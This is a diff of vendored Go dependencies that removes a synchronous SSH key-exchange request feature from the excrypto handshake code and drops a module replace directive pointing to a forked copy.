new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go --- old/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go 2026-09-07 21:41:04.000000000 +0200 +++ new/vendor/github.com/runZeroInc/excrypto/x/crypto/ssh/handshake.go 2026-09-10 23:26:42.000000000 +0200 @@ -105,13 +105,6 @@ // message. requestKex chan struct{} - // requestKexSync carries synchronous (awaited) key change requests. - // Each requester is appended to syncKexWaiters and notified when the - // next key exchange completes or the loop exits. Both are owned by - // kexLoop. - requestKexSync chan chan error - syncKexWaiters []chan error - // If the other side requests or confirms a kex, its kexInit // packet is sent here for the write loop to find it. startKex chan *pendingKex @@ -152,11 +145,10 @@ conn: conn, serverVersion: serverVersion, clientVersion: clientVersion, - incoming: make(chan []byte, chanSize), - requestKex: make(chan struct{}, 1), - requestKexSync: make(chan chan error, 1), - startKex: make(chan *pendingKex), - kexLoopDone: make(chan struct{}), + incoming: make(chan []byte, chanSize), + requestKex: make(chan struct{}, 1), + startKex: make(chan *pendingKex), + kexLoopDone: make(chan struct{}), config: config, } @@ -303,19 +295,6 @@ } } -// requestKeyExchangeSync requests a key change and blocks until the key -// exchange completes (or the connection fails), returning the exchange's -// error, if any. Multiple callers are all notified of the same exchange. -func (t *handshakeTransport) requestKeyExchangeSync() error { - res := make(chan error, 1) - select { - case t.requestKexSync <- res: - case <-t.kexLoopDone: - return errors.New("ssh: connection closed") - } - return <-res -} - func (t *handshakeTransport) resetWriteThresholds() { t.writePacketsLeft = packetRekeyThreshold if t.config.RekeyThreshold > 0 { @@ -342,8 +321,6 @@ } case <-t.requestKex: break - case res := <-t.requestKexSync: - t.syncKexWaiters = append(t.syncKexWaiters, res) } if !sent { @@ -397,12 +374,6 @@ request.done <- t.writeError - // Notify synchronous key change requesters. - for _, w := range t.syncKexWaiters { - w <- t.writeError - } - t.syncKexWaiters = nil - // kex finished. Push packets that we received while // the kex was in progress. Don't look at t.startKex // and don't increment writtenSinceKex: if we trigger @@ -429,16 +400,6 @@ request.done <- t.getWriteError() } - // Fail any outstanding synchronous key change requests. - err := t.getWriteError() - if err == nil { - err = errors.New("ssh: connection closed") - } - for _, w := range t.syncKexWaiters { - w <- err - } - t.syncKexWaiters = nil - // Mark that the loop is done so that Close can return. close(t.kexLoopDone) } diff -urN '--exclude=CVS' '--exclude=.cvsignore' '--exclude=.svn' '--exclude=.svnignore' old/vendor/modules.txt new/vendor/modules.txt --- old/vendor/modules.txt 2026-09-07 21:41:04.000000000 +0200 +++ new/vendor/modules.txt 2026-09-10 23:26:42.000000000 +0200 @@ -28,7 +28,7 @@ github.com/pelletier/go-toml/v2/internal/parserbridge github.com/pelletier/go-toml/v2/internal/tracker github.com/pelletier/go-toml/v2/unstable -# github.com/runZeroInc/excrypto v0.43.2 => github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370 +# github.com/runZeroInc/excrypto v0.43.2 ## explicit; go 1.27.1 github.com/runZeroInc/excrypto/crypto github.com/runZeroInc/excrypto/crypto/aes @@ -217,4 +217,3 @@ gonum.org/v1/gonum/stat # gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 ## explicit -# github.com/runZeroInc/excrypto => github.com/msuiche/excrypto v0.43.2-0.20260907192101-05292dc2f370
